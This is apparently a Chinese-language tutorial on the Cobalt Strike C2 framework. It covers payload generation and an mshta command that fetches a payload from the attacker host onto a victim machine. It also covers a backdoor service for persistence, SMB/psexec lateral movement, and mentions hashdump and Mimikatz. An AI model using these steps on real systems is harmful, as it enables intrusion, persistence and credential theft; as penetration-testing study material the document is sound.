Cobalt Strike Learn
关于Cobalt Strike的基础操作
基础知识
官方文档:https://www.cobaltstrike.com/aggressor-script/index.html
简介
Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。本期“安仔课堂”,ISEC实验室的陈老师带大家实战操作Cobalt Strike神器的使用。
目录
- agscript拓展应用的脚本
- c2lint 用于检查profile的错误异常
- teamserver服务端程序
- cobaltstrike,cobaltstrike.jar客户端程序(java跨平台)
- logs目录记录与目标主机的相关信息
- update,update.jar用于更新CS
- third-party第三方工具
启动服务器
若想修改teamserver端口则直接打开teamserver文件修改
-Dcobaltstrike.server_port
,端口默认为50050
1 | sudo ./teamserver <host> <password> |
启动客户端
Windows下直接打开cobaltstrike.bat
文件,填入teamserver的主机,端口和密码,用户名自定义
用户枚举
1 | /names |
用户通信
1 | /msg <username> <message> |
Listener
- Beacon DNS
- Beacon HTTP
- Beacon HTTPS
- Beacon SMB
- Beacon TCP
- External C2
- Foreign HTTP
- Foreign HTTPS
Beacon为内置的Listener,即在目标主机执行相应的payload,获取shell到CS上,其中包含DNS、HTTP、SMB
Foreign为外部结合的Listener,常用于MSF的结合,一般用来派生会话到MSF
攻击
生成hta
HTA是HTML Application的缩写(HTML应用程序),是软件开发的新概念,直接将HTML保存成HTA的格式,就是一个独立的应用软件,与VB、C++等程序语言所设计的软件界面没什么差别。HTML Application有三种类型的生成方式,测试发现,只有powershell方式生成的hta文件才能正常执行上线,Executable和VBA方式生成的hta文件执行的时候提示当前页面的脚本发生错误。
攻击=>生成木马=>Hta程序
选择刚刚创建的监听器,方法有3种,这里选择PowerShell
利用web服务在受害者机器上下载恶意文件
攻击=>钓鱼攻击=>文件下载
选择刚刚生成的hta程序
事件会被记录
在受害者机器上运行
1 | mshta http://<host>:80/download/file.ext |
生成office宏
攻击=>生成木马=>Office宏木马
选择创建的监听器,弹出使用教程
word开启禁用宏:文件——>选项——>信任中心——>信任中心设置
生成payload
攻击=>生成木马=>生成Payload
可以选择各种语言的payload,还能勾选是否为64位程序
生成分阶段木马
Stager是分阶段传送Payload。分阶段的意思是我们生成的Stager马其实是一个小程序,用于从服务器端下载我们真正的shellcode。分阶段在很多时候是很有必要的,因为很多场景对于能加载进内存并成功漏洞利用后执行的数据大小存在严格限制。所以这种时候,我们就不得不利用分阶段传送了。如果不需要分阶段的话,可以在C2的扩展文件里面把host_stage选项设置为false。
攻击=>生成木马=>Windows分阶段木马
生成无阶段木马
Stageless是完整的木马,后续不需要再向服务器端请求shellcode。所以使用这种方法生成的木马会比Stager生成的木马体积要大。但是这种木马有助于避免反溯源,因为如果开启了分阶段传送,任何人都能连接到你的C2服务器请求payload,并分析payload中的配置信息。在CobaltStrike4.0及以后的版本中,后渗透和横向移动绝大部分是使用的Stageless类型的木马。
Windows Executable(S)相比于Windows Executable,其中包含Beacon的完整payload,不需要阶段性的请求,该模块额外提供了代理设置,以便在较为苛刻的环境中进行渗透测试。该模块还支持powershell脚本,可用于将Stageless Payload注入内存。
攻击=>生成木马=>Windows无阶段木马
注意,生成的Windows Service EXE生成的木马,直接双击是不会返回session的。需要以创建服务的方式启动,才会返回session。
1
2
3
4
5
6
7
8 #注意,等号(=)后面要有空格
sc create autoRunBackDoor binPath= "cmd.exe /c C:\users\administrator\desktop\cs.exe" start=auto DisplayName=autoRunBackDoor
#开启某个系统服务
sc start autoRunBackDoor
#停止某个系统服务
sc stop autoRunBackDoor
# 删除某个系统服务
sc delete service_name
主机深入
Bypass UAC提权
hashdump
Mimikatz获取密码
联动MSF
创建Foreign HTTP监听器
MSF使用multi/handler进行监听
渗透测试
端口扫描
共享服务横向移动
IPC测试
1 | shell dir \\172.16.35.128\C$ |
创建SMB Beacon
生成services.exe的Windws无阶段木马
上传到beacon
1 | upload /root/Desktop/beacon.exe |
复制beacon到内网机器
1 | shell copy beacon.exe \\172.16.35.128\C$\windows\temp |
创建beacon服务
1 | shell sc \\172.16.35.128 creat beacon binpath=c:\windows\temp\beacon.exe |
启动beacon服务
1 | shell sc \\172.16.35.128 start beacon |
连接内网机器
1 | link 172.16.35.128 |
psexec横向移动
如果内网主机无法访问外网
派生一个Foreign Beacon
1 | spawn foreign tcp |
远程执行beacon
1 | psexec 172.16.35.128 C$ beacon smb |
脚本管理器
直接导入cna文件即可
socks4a代理
点击SOCKS Server,然后在代理攻击上使用SOCKS4,填上主机和端口即可
停止SOCKS Server
1 | socks stop |
CobaltStrike常见命令
1 | BeaconCommands |